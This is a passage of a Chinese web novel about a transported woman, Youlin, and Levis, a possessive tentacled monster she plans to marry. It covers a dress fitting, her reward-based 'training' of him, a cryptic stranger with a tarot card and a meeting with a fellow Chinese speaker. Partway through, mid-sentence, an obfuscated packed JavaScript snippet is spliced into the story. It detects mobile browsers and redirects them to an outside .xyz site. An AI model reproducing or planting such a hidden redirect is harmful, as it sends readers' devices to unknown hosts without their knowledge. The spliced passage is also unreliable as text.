跟利维斯再亲密的举动也有过了,她不介意在他的视线下直接换衣服,褪去原本的裙子,暗处冰冷的视线简直变得更加嚣张,像是要直接从阴影里钻出来,然后贴在她裸/露的肌肤上,一寸寸地舔舐。 尤琳心理这关是过去了,身体却还是不由自主地发毛,她套好新的衣裙,却有种将那些黏腻的触手也包裹进了衣服里的感觉。 最后,她通过镜子,扫了眼蛰伏在阴影里的怪物,咽了口唾沫,轻声说:“利维斯,过来帮我把带子系上。” 就像是开始的许可,阴影中探出了好几条触手,它们身体鲜红明亮,膨胀到了接近一个小臂的粗度,鬼鬼祟祟地探出脑袋来,朝尤琳的后背靠近。 还没等它们贴上来,尤琳已经感觉脊背一麻,像是无形中触碰到了某种开关。 那些触手偶尔表现得并不听话,就像是利维斯,在大部分事情上顺从于她,一旦和这方面有关,就会表现得极其叛逆。 明明她只是想让它们系个带子,它们却轻车熟路地从衣裙的每一处缝隙中钻了进去,并且态度嚣张,就像是在告诉尤琳——是你允许的。 店员站在外面等待,感觉过了好几分钟,但里面的人还没出来,也不知道是不是又家里临时有事,跳窗而走了。 她小心翼翼地扭头扫了眼坐在沙发上的男人,那个叫做利维斯的男人有着一张格外英俊的面容,但他并不爱笑,即便是和那个叫尤琳的姑娘亲热时,也是一副面无表情的样子,几乎让她怀疑他们到底是不是情侣,又或者……是另一种更加隐秘的关系? 利维斯银发梳得一丝不苟,一只手支着脑袋,另一只手随意搭在膝上,像是位慵懒冷傲的贵族,无论什么都提不起他的兴趣。 但店员却注意到,在某个瞬间,他突然将眼闭上了,与此联动反应的,是他放在膝上的那只手猛地攥成了拳头,像是受到了什么强烈的刺激,胸腔剧烈起伏了一下。 还没等店员深思,隔间的门打开,尤琳走了出来。她身上套着一件高领雪白长裙,腰间有束腰,勾勒出一道漂亮的曲线。 只是她走出来时脸颊泛着红晕,喘气声也重,像是隔间里十分闷热,好不容易才换好逃了出来。 利维斯终于抬起了眸子,目光先是落在尤琳的脚腕,一路往上,直到看见那双熟悉的黑色眸子,至此终于确认了,她还在。 但利维斯自己也不知道他在焦躁些什么。 换做是别人,早在第一次逃跑背叛他的时候,就会被他直接吞入腹中,但那次,他动了念头,却只是把尤琳身上沾有狼人臭味的衣服腐蚀,然后,听着她在恐惧下编出谎言。 哄骗也是哄。 利维斯不得不承认,即便知道是尤琳的借口,他也将那些话都当了真,并且所有的意识都在那一刻发出满足的共鸣,一下子填满了他腹中的饥饿感。 于是,渐渐对这种感觉上瘾,希望尤琳能多哄哄他,喂饱他。 当尤琳说她不逃的时候,利维斯并不相信。 上次,他舔了她的眼泪,看到了那些令她不愉快的记忆,尤琳似乎认为待在他的身边,本质上和待在那些人的家里没什么区别。因此利维斯无比确信,尤琳一定还会离开。 也许唯一能让她唯一留下来的方法,就是将她藏进自己的身体里,和他一体共生。 但那样尤琳会害怕。 她胆子很小,看到那些被寄生的皮套会害怕,看见他的触手会害怕,看到他本体最小不过的样子都会害怕……嗯,这似乎是人之常情。 不过尤琳总是一边害怕,一边会亲亲他,安抚他内心的躁动不安。 只是利维斯每次舔她恐惧的眼泪,都能听到她内心在骂他。 利维斯心想,尤琳是个脆弱胆小,心口不一的骗子,但她确实是这么多年来,唯一一个见过他怪物的面貌,却还是提出来要当他妻子的人。 即便她只是为了活下去。 嗯……除了第一次见面,其实他后来没有想过杀掉尤琳,即便在她逃跑后,也只是想吓吓她。因为他发现,当他表达出强烈的饥饿时,尤琳往往会在最后一秒给他一个惊喜。 第一次是亲吻,第二次是夫妻,第三次是婚礼。 婚礼,能将两个人标记为夫妻关系,在那一天,看到他们的人都会知道这层关系。人类似乎很喜欢这种仪式感,每一对夫妻都会举办婚礼,如果尤琳不提,利维斯差点就忘了。 他想,如果他们之间也举办婚礼的话,所有人都会知道尤琳是他的妻子,那么不管尤琳走到哪里,别人都能将他们联想到一起,就像他是她的标记。 但是婚礼能让尤琳乖乖待在他的身边,成为他真正的家人吗? 利维斯不知道。 他第一次生出了迷茫,这让他感到无比焦躁。 爱是回归,但尤琳却总想着逃离,利维斯并不知道要怎么做,才能让一个人类爱上一只怪物。 16. chapter.16 尤琳这次没逃,利维斯感觉心中的焦躁被抚平了一些,但就像一滴水落进了沙漠里,这还远远不够彻底安抚他。 他望向她的眼睛里依旧充满着渴求,躁动不安地希望赶紧离开。 尤琳需要先确定一件事,利维斯对她到底是什么感情? 除了离开,他对她百般顺从和包容,尤琳不难联想到是占有欲在作祟。就像是自己新买了一个玩具,新鲜感的那几天总是十分怜惜的,更不舍得借给别人。 如果只是这样,那么尤琳需要做的就是,将这种情感推到一个更高的浪潮,让她无可替代,变成唯一。 婚礼,好像确实是有必要的,既能打消利维斯的不安,又能从侧面建立出一种直白的情感联结。 如果只是一场婚礼,不施加任何法律效益的话,尤琳不是不能接受,这种本质上和过家家也没什么区别,只不过是把床单换成了婚纱,易拉罐的环换成了戒指。 尤琳脑海中闪过了无数个念头,最后她低声冲店员耳语了几句。 利维斯看到店员咧嘴笑了,眉眼飞扬透着光亮:“原来是这样!真是恭喜二位了!那尤琳小姐请到这边来吧。” 尤琳瞥了好奇的利维斯一眼,然后跟着店员走到另一块地方,店员拿起测量工具,开始往尤琳身上比划。 利维斯注意到,这个店员的神情和骑自行车送花的少年有着相似的地方,他们眼里自然流露出了一种温馨的祝福,像是寒冷季节里盛开的花,第一眼让人感觉温暖舒适。 尤琳说了什么?他没听到。 等利维斯回过神来的时候,他已经走了过去,问:“尤琳,你们在做什么?” 店员笑着说:“当然是在给太太定制婚礼上穿的着装,放心吧利维斯先生,无论是婚纱还是晚宴礼服,我们这家店都是专业的!既然太太信任我们,您就尽管交给我们吧!” 尤琳第一次从利维斯脸上看到了名为错愕的神情,他存活于世多年,本就不会有太大的情绪反应,能看到这一点显著的变化,不亚于发现了化石。 那他现在有安全感了吗? 利维斯脸上的错愕仅仅停顿了不到一秒,收回迅速。 “不用测量。”利维斯淡声说着,一手抓过尤琳的肩,另一手拿过放在旁边的笔,刷刷在白纸上写下几个数字,“我了解我妻子的身体。” 他的触手包裹过她身体的每一处,除了不知深度,每一个部位的围数他都清楚,甚至能比那些工具测出来的数字更加精准。 垂眸时,他顿了一下,抬手碰了碰尤琳的脸,说:“尤琳,你的脸很红很烫,你又生病了吗?” 店员愣了一下,意味深长地笑了起来。 “没有!”尤琳连忙背过身,将冰凉的手贴在脸上降温。 什么叫他了解她的身体?这个老怪物是真不觉得说出这些话很容易让人误会啊! 利维斯觉得她像是一只害羞的小水母,很想在这种时候伸出触手摸摸她的脑袋,但碍于外人在场,只能暂时忍了回去。 他问尤琳:“还想试试别的衣服吗?” 尤琳沉默地摇了摇头,利维斯只好收回遗憾的目光。 利维斯花了重金,加急定制了晚宴的礼服和婚纱,店员喜笑颜开地说一个月内就能完成。 毕竟利维斯给的数额太过庞大,只要有钱,就能有奇迹。 她挥手告别两人,因为接到巨额订单的兴奋,甚至没让她注意到两人在推开店门的一瞬间就凭空消失了。 尤琳只感觉身下一阵失重,一眨眼的工夫,就回到了那幢房子里,客厅的桌上还摆着那本摊开的图册。 没等尤琳反应过来,身后冰凉的气息骤然贴近,高大的黑影像沉重的山覆盖而下,利维斯一手环在她腰间,一手轻抬她的下巴,将她的脸扭转过来,然后精准无误地覆上了那张唇。 所有触手在这一刻终于得到了释放,每一道都紧紧吸附在尤琳身上,贪婪地嗅闻,吮吸,和标记。 它们简直兴奋地快要疯了! 尤琳总能给他带来各种各样的惊喜,但之前的每一次都是在他有意的恐吓中产生。 这次他没有吓她,为什么,为什么她还是喂饱了他? 之前利维斯从来都是从正面亲吻她,这还是第一次从身后进攻,尤琳莫名感觉有些腿软,第一次体验到了一些不一样的感觉,就像是身体变成了一根琴弦,每每被拨动,都能引起一阵阵的震颤。 心里隐秘地生出了一种不可言说的滋味,但她不肯细究下去,舌头却诚实地配合着。 就像是……就像是在做隔间里没做完的事。 不知过了多久,尤琳感觉脖子酸硬,才轻咬了对方柔软的舌尖。 利维斯温顺地退了出来,手却环抱着没松开,只深深垂着脑袋,将脸埋在她的颈窝,深吸。 他闷声问:“尤琳在想什么?” 尤琳现在哪有什么别的想法,她按了一下脑子里的冲水键,把黄色废料一键清除后,才努力平复了一下呼吸,说:“在想晚饭吃什么。” 利维斯在她颈窝里蹭了蹭:“想吃什么都可以。” 尤琳觉得时机已经到了,可以进行下一步了,她试探地轻抚着他紧贴在自己身上的触手,说:“利维斯,现在你相信我不会离开了吧。” 利维斯抬起头,两眼茫然。 他不知道,不确信,于是莫名恶劣地想要让尤琳哭出来,这样就能通过她的眼泪,去判断她的情绪和真实的心里想法。 如果再吓吓她,她还会哭吗? 意识完全没有想到这是一个馊主意,它们刚刚有了反应,尤琳便在他的怀里转身,双手环在他的腰上,柔软的脸贴上了他的胸前。 她从来没有这样抱过他,简直就像是额外的奖励。 蠢蠢欲动的触手停住了想要恐吓的动作,失去目的后不知道该干些什么,迷茫地悬停在半空。 利维斯微微出神地想,原来不吓她,也能得到奖励吗? 相处这么多天下来,尤琳大概已经了解了那些触手会如何反应利维斯的情绪,兴奋的时候,它们往往颜色更加鲜亮,并且随着兴奋的程度体积膨胀,简直就像是……动物的尾巴,可以用肉眼捕捉到他状态反应。 一旦有了攻击或是侵略的意图,要么第一时间动作迅速地绞碎对方,要么触手慢慢收紧,像蟒蛇绞死 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他做饭的时候很专注,如果不是他主动暴露触手,大概没有人会看得出来这是个怪物。 尤琳也只有在逃跑,以及同他亲热的时候才能明确意识到这点。 她忽然想起自己刚上高一的时候暗恋班上一个男同学,长得很帅,寡言少语,思考的时候喜欢摸一下鼻尖,就像是小说中高冷男主走出书本。 直到有一天,尤琳看见那男生上课偷偷扣鼻子然后蹭在窗帘上。 尤琳:“O-O……” 总之,梦碎了,男神变成了那男的,尤琳再也不敢靠近班上任何一个地方的窗帘。 回归现在,利维斯作为小说里的角色,即便是个怪物,但有钱有颜有身材,举止端庄,什么都会,触手多干什么也快。 尤琳有时候会觉得,如果一定要选择一个人陪着自己的话,怪物好像不是不行。 前提是她能成功驯化他,这样他就不会再动不动想吃掉她。 尤琳突然想到要做一件事,于是跑到厨房,趁利维斯切菜的时候在他脸上亲了一口。 两条触手一言不合地钻了出来,在他身后晃晃荡荡。 利维斯转头看向尤琳,喉头微动:“尤琳,你在做什么?” 尤琳已经将那些触手看习惯了,这么看这些家伙还是挺漂亮的,就像是鲜艳的花丝,她顺手抓住两条触手,一边打结,一边说:“亲你,这是奖励。” 尤琳在第二步计划中,临时插了一步。 她要换个方式对利维斯,比如将亲密变成奖励,而不是恐惧下的妥协。 利维斯已经习惯了在龇牙咧嘴的时候得到一个罐头,但这样是不行的,既不能长久维持,观念也不对,尤琳想要给他建立正确的奖励机制,只有在他做的好的时候,才会给他想要的。 这样他会为了得到那些奖励,而去做些更能让她开心的事。 将两条毫无反抗的触手打完结后,尤琳心满意足地出去了,利维斯扫了眼自己被打结搅乱的意识,像是在说—— 还不够。 17. chapter.17 那天之后,利维斯似乎喜欢上了和尤琳散步这件事,到了下午饭后就会拉着她出门遛弯。 没有手机网络,并且在有人陪的情况下,尤琳还是很乐意出门走走的,更何况这个小镇景色不错,小镇里大多数人都很热情,即便是没见过的陌生人,在对视的时候也会默契一笑,纯真的笑容让人感觉很舒服。 加上身边高大俊冷的男人,尤琳偶尔会有种自己正在拍文艺电影的感觉。 总之,利维斯不再抗拒她出门,这是件好事,不过也有可能只是在他陪伴的前提下才允许。 穿越的这段时间让她的作息都变得规律健康了,每天一大早就能醒来,一如往常,先是拨开腰上利维斯的手,然后小心翼翼绕过地上那些同样沉睡的触手。 那些触手就是利维斯的意识,当利维斯睡着时,触手也会跟着休眠,变得黯然失色,偶尔微微蔓延蠕动两下,就像是睡着时做的梦。 尤琳差点被一条梦游的触手绊了一跤。 利维斯闭眼睡熟,漂亮的银发散落在白色的柔枕上。他平日里总将头发梳得一丝不苟,加上神情冷漠,从而不敢让人接近,但尤琳喜欢看他头发散落的样子,像团团纠缠在海底凌乱的银色丝线中,包裹着一颗沉睡的漂亮珍珠。 不得不承认,每天早上醒来看见边上躺着一个帅哥,感觉生命线都被拉长了,还能再多活几年。 尤琳舔了舔干燥的唇,在心里念了一遍清心咒,蹑手蹑脚地钻进盥洗室中,等她打开门出来的时候,一条触手提着一件白色的丝绸长裙停在门口。 利维斯醒了,正侧身窝在床上,一只手枕在脑袋下,没什么情绪的眸子起先落在尤琳脸上的水珠,等到尤琳望过来了,才轻描淡写地抬眸,与她视线相交。 天气越发寒冷了些,另一条触手殷勤地递过来一件披肩,尤琳接过裙子和披肩,想了想,拽过一条触手轻轻用唇碰了一下,然后迅速转身又进了盥洗室。 利维斯翻了个身,那条被亲过的意识晃到他面前,用尤琳用唇碰过的地方,又轻轻碰了一下利维斯的唇。 尤琳换好衣服后,告诉利维斯自己要出门。 利维斯应了声“好”,刚要起身,尤琳又丢过来一句:“我要自己出去逛逛,你留下来看家吧。” 那一瞬间,久违的,冰冷的死气迎面扑来,就像是一个开关,虽然快要被遗忘,但依旧是利维斯的敏感地带,尤琳随口一句的拨弄,让他的触手又炸成了花。 尤琳想试着让利维斯习惯她不在他身边的时候,直到他慢慢确定她真的不会离开,就会一点点抽走缠紧她的意识。 怎么说呢,尤琳觉得这一步是在进行脱敏训练,以及,为了第二条路的目标,带了点私心的欲擒故纵。 她保持冷静,像穿过一片茂密的红色花丛,走向身处中心的利维斯,耐心安抚着:“你看,总不能以后我去哪,你就跟到哪吧……” 利维斯冷声打断她:“我能。” 只要他想,他可以跟尤琳去到这个世界上的任何一个地方。 几条触手紧紧缠上了尤琳的手臂,明确不想让她离开,并且往她身上蔓延,有想要将她绞杀的意味。 但利维斯这招大概是用多了,尤琳明显有了抗性,她不慌不乱地说:“我只是出去走走,保证会在晚饭前回家,如果你能在家乖乖等我回来……我就给你一个奖励。” 利维斯眼中蓝光一亮,海面上汹涌的风暴褪去,似乎是被说动了。 尤琳感觉身上的触手松动,于是再接再励道:“反正不管我去哪,你都能抓到我,你还在担心什么呢?” 她在变相地给他打强心剂,然而,那些触手紧了又紧,像是利维斯的手不确定地攥住了她。 不该是这个反应啊。 尤琳纳闷了一瞬间,很快,利维斯彻底收回了所有触手,坐在床上,微微抬头,自下而上地看着尤琳,说:“好,我等尤琳回家。” 尤琳盯着那双蔚蓝色的眼睛,莫名心头一跳。 如果她真的在玩一场游戏,那么此时系统大概会弹出一个名为【关键节点】的提示。 尤琳从抽屉里摸出一把手枪带上,又提了一个藤条编织的小挎篮,然后一个人出门,利维斯没阻止,但在出门的一瞬间,她感觉到了利维斯的视线。 尤琳其实也不知道要去哪里,但这是迟早要面对的一个关卡,早打晚打,都要打。 尤琳漫步到了热闹的街上。 这个小镇名为堤利,临海而生,从镇上的建筑风格来看,有点像十九世纪的法国。但这个地方,或者说这个世界,更像是文艺电影中所拍摄的场景,没有现实中真实的十九世纪那样混乱肮脏,反而像加了层特别的滤镜。 尤琳心想,如果没有怪物的设定,这里或许是个完美的乌托邦,人生最后的居住地,但加上怪物之后,又给这个地方添上了一种奇幻神秘的色彩,更加特别。 她从一个卖报的少年手中买了一份报纸,然后坐在街边的一家咖啡馆前,点了一杯咖啡。 从她出来后,利维斯的视线没有再出现过,尤琳也不确定是他真的放下了心,还是有意隐藏了目光。 她翻开报纸,感谢设定,让她在穿越到异国还能轻而易举看懂这些字的感觉简直不要太棒! 报纸上的内容分为几个板块,大板块写的都是一些国家大事,尤琳没什么兴趣,只随意扫了两眼,她比较喜欢看一些有意思的八卦新闻。 小板块放着的,就是关于这个镇子里发生的一些事,尤琳翻来翻去,倒是有几则引起了她的强烈兴趣。 第一则是之前那个在雨天离家出走后,在大街上直接被打屁股的小男孩,竟然上了报纸,占据着一块小角落,说他又又又又又又跟父母吵架离家出走了。 写这则新闻的人在末尾补充了一句:让我们看看奥利弗还要被抓回去修理几次。 尤琳笑了一下,觉得这个小镇的人也是神奇的没边了。 第二则稍微严肃些,写的是关于最近小镇上发生的一起离奇案子。 几天前,小镇里有一名年轻的女性昏迷不醒,然而送到医院诊断后发现,这名女性的身体并没有任何异常,最后她们的父母只能寻求上帝的帮助。 教堂里的神父检查一番后得出结论:他们女儿的灵魂被吃掉了。 如果换做尤琳的世界,她肯定会对这种言论不屑一顾,觉得这神父就是个见人说人话,见鬼说鬼话的骗子。但是这个书中世界的设定确实存在着各种说不清的东西,比如怪物,比如那种神奇的,堪比魔法的能力。 所以尤琳觉得这神父说的,多半有可能是真的。 第三则新闻:下个月的七号,名为莫利亚号的轮船将会经过堤利小镇的港口。 这则新闻本身不具备什么吸引力,但是尤琳看到了撰写者写在最后的一段话,是关于莫利亚号的故事。 莫利亚的船长名叫摩维,他年轻时遇到了一位名叫琳达的人,那是一位神奇的女性。原本琳达只是一位贵族家的女佣,有天大病一场后,她脑子里似乎多了很多稀奇古怪的智慧,并且利用这些智慧脱离了女佣的身份,还赚到了不少钱。 后来,两人相识,相恋了。 然而婚后没过多少年,琳达患上了一种很严重的疾病,无法医治。 她时常在梦里念叨一个名叫“亚特兰蒂斯”的地方,摩维查阅了许多书籍,最后从一个古籍中发现关于亚特兰蒂斯的描述。据说那个地方是失落的海底王国,拥有十分神奇的力量,寻找到它的人可以实现一切愿望。 于是摩维变卖家产,买了一条船,带着生病的妻子来到海上,寻找失落的遗迹。 可惜,琳达的身体撑不住漫无目的的寻找,她离世后,摩维却依旧在海上寻找着亚特兰蒂斯的遗迹,时不时停靠在哪个港口,补充物资,然后继续航行。 文章的最后写着一句:在大海上逝去的生命,会永远困于大海,每当海上浓雾四起,便能听到亡者的声息。也许摩维现在所寻找的,只是琳达迷失的灵魂。 ——撰稿人:米斯·麦维夫。 尤琳看完这个故事,刚开始觉得手脚冰凉,随后整个人都热了起来,脑子里有根断掉的线骤然复苏,扯出了一个清晰明朗的思绪。 如果她没猜错,摩维的妻子琳达和她一样,也是一名穿越者! 没有人会在一夜之间性情大变,脑子里多出许多以前都不曾接触过的信息,如果有,那只能说明她身体里的灵魂已经被替换了。 如果这件事是真的,那么琳达生病期间一直念叨的“亚特兰蒂斯”会是什么指引吗?她是真的死了吗?还是在死后灵魂已经回到了现代? 尤琳紧紧握着这份报纸,对于这件事的真相不得而知。这个世界的设定是奇幻的,也许……发现亚特兰蒂斯的人真的能实现一个愿望。 尤琳不可遏制地想,如果是这样,她是不是就能回去了? 但她真的想回去吗? 尤琳盖下手中的报纸,颤抖地端起凉掉的咖啡抿了一口。 就像是得到了通关的线索,回到现实的话,无论利维斯怎么生气,都抓不到她了吧。 下个月七号,还有二十天左右,那个时候婚纱应该也做出来了。 尤琳坐在原位发了好一会儿的呆,才将报纸一卷塞进挎篮里,抓起就走。 她低头走得匆匆忙忙,没注意到前方,猝不及防和迎面走来的人撞了个满怀。 像是撞到了一堵墙,尤琳磕得脑子一懵,低低说了声抱歉,正要离开时,对方猛然一把擒住了她的手腕。 伴随着这个无礼的动作,尤琳有些生气地蹙眉抬眼,瞪眼前的陌生人。 对方是个成年男性的身量,高大宽厚,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874649|175270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩在一件漆黑的斗篷里,看不出年纪,他站在尤琳面前,就像一道庞大的阴影,让尤琳瞬间警惕起来。 她只能看到他的眼睛,那是一双如同混沌般的双眼,像是一道黑渊,能摄走一切光源包括人的思绪,让她有些不适。 “这位小姐,你……不是这具身体原来的主人吧。” 尤琳晃了晃脑袋,发现自己刚刚竟然盯出神了。 那人听声音,像个四十五岁的大爷,嗓音低哑,喉咙里仿佛卡了痰,每说一个字,尤琳都感觉浑身难受,只是当那一整句话说出来时,她像是被天雷劈中,愣在了原地。 他是谁?他怎么知道这些的? 男人感觉到她的紧张,嗬嗬地笑了起来,胸腔鼓动,像老旧的风箱发出摧枯拉朽的声音:“别害怕,我不是来伤害你的,只是见你有缘,想提醒你几句话。” 尤琳将空出的一只手伸进携带的挎篮里,面沉似水地盯着对方:“说说看。” 被利维斯吓了这么久,尤琳胆子进步飞速,加上知道利维斯也许就在身后,她根本不怕这个黑乌鸦能伤得了自己。 黑乌鸦将尤琳又往自己的方向拽了一步,看着就像尤琳被他拢进了斗篷里贴着他。 身后骤然凝聚起一道视线,简直到了恐怖的地步,冰冷刺骨,让尤琳禁不住颤了一下,她甚至觉得没有出现的利维斯,比眼前的这个陌生人更加危险恐怖。 尤琳刚想挣扎脱离,黑乌鸦立马俯身,在她耳边轻声道:“我还知道你和一只怪物住在一起,相信我孩子,你驾驭不了那只怪物,它只会将你吞食。” 尤琳头皮发麻,有种灵魂受到了震颤的感觉,下意识想到了报纸上的第二则新闻。 她神思晃荡了一瞬,紧接着迅速清醒过来,毫不犹豫地从挎篮里将枪掏了出来,抵在对方的腹部:“你再胡言乱语,我就要不客气了。” 黑乌鸦并不害怕那支枪,他往抓住尤琳的那只手里塞了样东西,薄薄的,硬质的,像是一张卡牌。 “你的命运将由你自己改变,不过好在你并不是孤单一人,回家的路上多多留心,你会遇到同伴的,他能带给你帮助……” 说完,尤琳感觉被扣住的手腕骤然一松,披着斗篷的黑乌鸦竟然像阵被风吹散的烟雾,直接在她面前消失了! 尤琳浑身瘫软,忍不住扶着墙沿蹲下身,随着黑乌鸦的消失,刚才落在她背上如冰针般的视线也不见了。她喘息两下平复情绪后往身后看去,空空如也的小巷只有路过的野猫——利维斯不在。 尤琳疑虑未消,感觉到手中还紧握着黑乌鸦留下的卡牌,低头看了眼,是一张名为恶魔的塔罗牌。 尤琳高中的时候沉迷过一段时间的塔罗牌,她要是没记错的话,恶魔牌代表了堕落和沉迷。 这是在说她和利维斯这个恶魔自甘堕落吗? 尤琳盯着塔罗牌上的恶魔,半晌,将卡牌直接对折,在手里拢成了一团褶皱。 到底是不是堕落沉迷,只有她自己清楚,其他人说的,都不算。 尤琳不知道那个黑乌鸦是谁,尽管他看上去对尤琳的情况很了解,但如果非要尤琳在陌生人莫名其妙的提醒和利维斯中选择一个相信,她会毫不犹豫地选择利维斯。 可是要她完全不在意刚才的那些话,也是不可能的。 目前为止,黑乌鸦说的信息都是正确的,这是否意味着,她在这个世界真的能遇到同伴? 尤琳迫不及待地往家赶去,路上也曾留意了一下周围路过的人,但大多都神情正常,没什么奇怪的地方。 直到她路过一户人家的门口,听到里面传来啜泣声,有人劝慰道:“真是抱歉,希里太太……” 希里太太,报纸上写到过,是那个被吃掉灵魂的女性的母亲。 尤琳脚步慢了下来,不由自主竖起耳朵。 那个劝慰希里太太的男声继续道:“您女儿的事确实令人遗憾,但神父对此也无能为力……要怪就怪那个恶魔太凶残了!” 两人又嘀嘀咕咕说了一些话,等尤琳回过神的时候,发现自己已经站在外面听了好一会儿的墙角。 屋门打开,一名佝偻着背的妇人和一名少年并肩走了出来,尤琳赶忙心虚地找了个地方藏起来。 那少年转过身时,尤琳清楚地看见了他的脸,小麦色的皮肤看着血气十足,五官清秀端正,一双茶褐色的眼睛此刻透露着些许哀伤。 这是一张熟悉得不能再熟悉的东方面孔,在告别妇人后,少年摸了摸鼻尖,低头往外走去,叹了一句:“哎,可怜咯。” 听到这句再简单不过的话时,尤琳浑身血液凝固,愣在了原地。 和那些直接在脑海里生涩翻译成的句子不一样,那个少年说的是标准的中文!熟悉的中文!让人热泪盈眶的中文! 她简直想扑上去大喊一声:“卧槽!老乡!” 18. chapter.18 那少年刚往外走了两步,忽然看见旁边窜出来一个金发女性,表情狰狞,两眼放光,像个饿了一个月终于看见猎物的母狮子,流着哈喇子冲了过来。 少年瞳孔一缩,想也不想,拔腿就跑。 “母狮子”还追在他身后,一边追一边大喊:“你大爷的跑什么!?” 少年头也不回地喊道:“废话!你追我我能不跑吗!” 等等,这个金毛外国人刚刚说的什么话? 少年猛地刹车回头,尤琳冲得太猛,差点一头把他撞飞出去,好不容易才停下,不爱运动的身子因为刚才狂跑的那两步哼哧哼哧喘起了粗气。 少年一脸诧异地盯着她:“你你你你你、你会中文?” 尤琳缓过劲来,翻他一白眼:“你不是也会吗?” 少年轻嗤道:“废话,我可是正儿八经的古国人。”他好奇地打量着她,“所以你为什么也会中文?” 尤琳一句“因为”到了嘴边,正要说自己也算是古国人,想了想,又将这话咽了回去。 她都忘了自己是魂穿,现在外人眼里的她是金发碧眼的,跟古国人八竿子打不着一块。如果说自己穿越的话,对方应该也不会相信吧,还有可能被当成神经病。 好不容易在这里遇到老乡,尤琳可不想把他吓跑。 “因为我对古国很感兴趣,所以一直在自学这门语言。” 她两眼放光,激动地补充,“我还没在这里见过正儿八经的古国人呢!你叫什么名字?” 少年又疑惑地打量了她一眼,才说:“我叫张为,你呢?” 尤琳说:“我叫赛西莉亚,不过我给自己取了一个古国人的名字,所以你也可以叫我尤琳。” 张为点了点头,两人这样就算是认识了。 尤琳本来以为张为是从小跟着父母来到黎兰的,但张为却说,他是被人贩子拐走后,经历几次辗转的买卖,才到的黎兰。 他谈起这件事时神情淡淡没什么情绪,就好像已经习惯了。 尤琳简直想给自己这张破嘴来一套降龙十巴掌。 她忽然想起刚刚张为从希里太太家出来,顺口问道:“你认识希里太太?” 张为苦恼地抓了把头发,说:“算是吧,听你这么说,你应该也在报纸上看到了,希里太太的女儿昏迷不醒,只能求助神父,但神父毕竟不是真神,也帮不上什么忙。” 尤琳诧异道:“所以那个女生的灵魂,真的被吃掉了吗?” 张为点点头,说:“是真的,神父虽然不是真神,但他也是真有两把刷子在身上的,我来到堤利以后就在跟他学各种法阵呢。” 他脸上浮现骄傲的神色,“现在已经学得炉火纯青了!” “厉害厉害!”尤琳兴致勃勃地看着他,动起心思,“原来普通人也能学吗,那是什么样的阵法,我也能学吗?” 岂料张为上下扫了她一眼,露出一脸为难的表情来:“学阵法是要看天赋和灵性的,你……我觉得你倒是挺有语言天赋的。” 尤琳:“……谢谢你啊。” 张为见她兴致缺缺,摸了摸鼻尖,然后从身上背着的挎包里拿了样东西出来,是个透明的玻璃球,也就比一块钱硬币大一圈。 “很久没在古国之外的地方听到熟悉的语言了,看在咱们有缘的份上,这个送你。” 张为将玻璃球送到尤琳面前,“这个可以……” 正要介绍时,那颗透明的玻璃球内泛上了一缕缕的黑气,几乎占了玻璃球的一大半的。 尤琳也看到了这个变化,抬眸时见张为表情古怪,问:“这是什么情况?” 张为神情顿然紧张,往尤琳靠近一步,盯着她一字一顿地低声道:“你、被怪物缠上了!” 他骤然靠近,尤琳起先闻到一股香味,像是一些贵妇人间常用的香水,心想这张为还挺精致讲究的。 听完他的话后,尤琳反倒松了口气。 还以为怎么了呢,只是被怪物缠上而已,家里的怪物天天都缠她,她早就习惯了。 张为却一脸严肃地说:“这颗水晶球能检测出怪物的气息,你身上怪物的气息越浓烈,它的颜色就越深。” 他警惕地扫了眼周围,还是将那颗水晶球放在了尤琳手上,低声说,“你最近最好小心些,也许那吃灵魂的怪物已经盯上你了。” 虽然这颗水晶球跟着她没什么用,但尤琳还是收下了。忽然,水晶球在她手里变得更黑了些,与此同时,熟悉的视线出现在身后,就像是利维斯的有意提醒。 尤琳看了眼自己和张为之间的距离,后退了一步。 她其实还有很多想和他聊聊的,不管是这个世界的古国也好,还是关于神奇的法阵,但天色渐渐暗了下来,她觉得自己现在必须要回去了,否则家里的怪物就不只是缠上这么简单了。 “多谢你的提醒,我得赶紧回去了,咱们下次再聊!” 张为掏出怀表看了眼时间:“这么早,你家里人定的时间吗?也太严格了吧。” 尤琳将水晶球收进口袋里,笑了笑,说:“不是,家里养了条鱼,急着回去给鱼喂食呢,不然它会生气的。” 张为纳闷地说:“鱼还会生气。那行吧,等下次见面,我再帮你仔细看看那怪物要怎么解决。” 尤琳不以为然地笑,朝他挥了挥手,说:“好!” 利维斯虽然对人类好奇,但并不喜欢和人类群居生活,不管是古堡还是小镇里的房子,都坐落在比较偏僻安静的地方。 尤琳回到家门口的时候,太阳刚好落下,暮色四合,屋子里没有点灯,在空旷的僻静之地显得更加寂寥。 不知道利维斯在干嘛,怎么连灯都没点。 尤琳嘀嘀咕咕地推开门,一道道阴冷的潮气骤然铺面而来,迅速在她腰上缠了几圈,然后往沙发的方向一带。 尤琳简直像被甩过来的,一屁股摔进了柔软的沙发里,虽然不疼,但还是懵了两下,下一秒,鬼魅般的黑影覆盖而上,将她扑倒,然后严严实实地笼罩其中。 利维斯将手撑在她两侧,屋子里黯淡无光,尤琳看不清他脸上的表情,只能看见两个闪着幽光的蓝色眸子,里面透着不少的幽怨。 尤琳正要说话,他便急不可耐地堵住了她的声音,又像是回到了他们初见那次的疯狂摄取。 除了故意吓她露出原形的时候,这种时候尤琳也会意识到利维斯的本性还是一只怪物,尽管他的人形再俊美,穿着再矜贵,也会在关上门的一刻释放出所有欲望。 尽管尤琳已经习 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尤琳迟疑了一下,想伸手拍拍他的头,就像他经常用触手拍她一样,但尤琳的手抬到半空,便顿住了,不知道这个动作对利维斯来说意味着什么。 但利维斯却像是看穿了她的意图,主动放低身子,将脑袋蹭到了她的手掌上。 银白柔软的发丝从掌心拂过,像光洁的绸缎,又像海中滑腻的水草,尤琳瞳孔微微缩紧,感觉心里也被蹭过了一缕细腻的发丝,有些痒,但更多的,是言语无法表达的感受。 心脏鼓动。 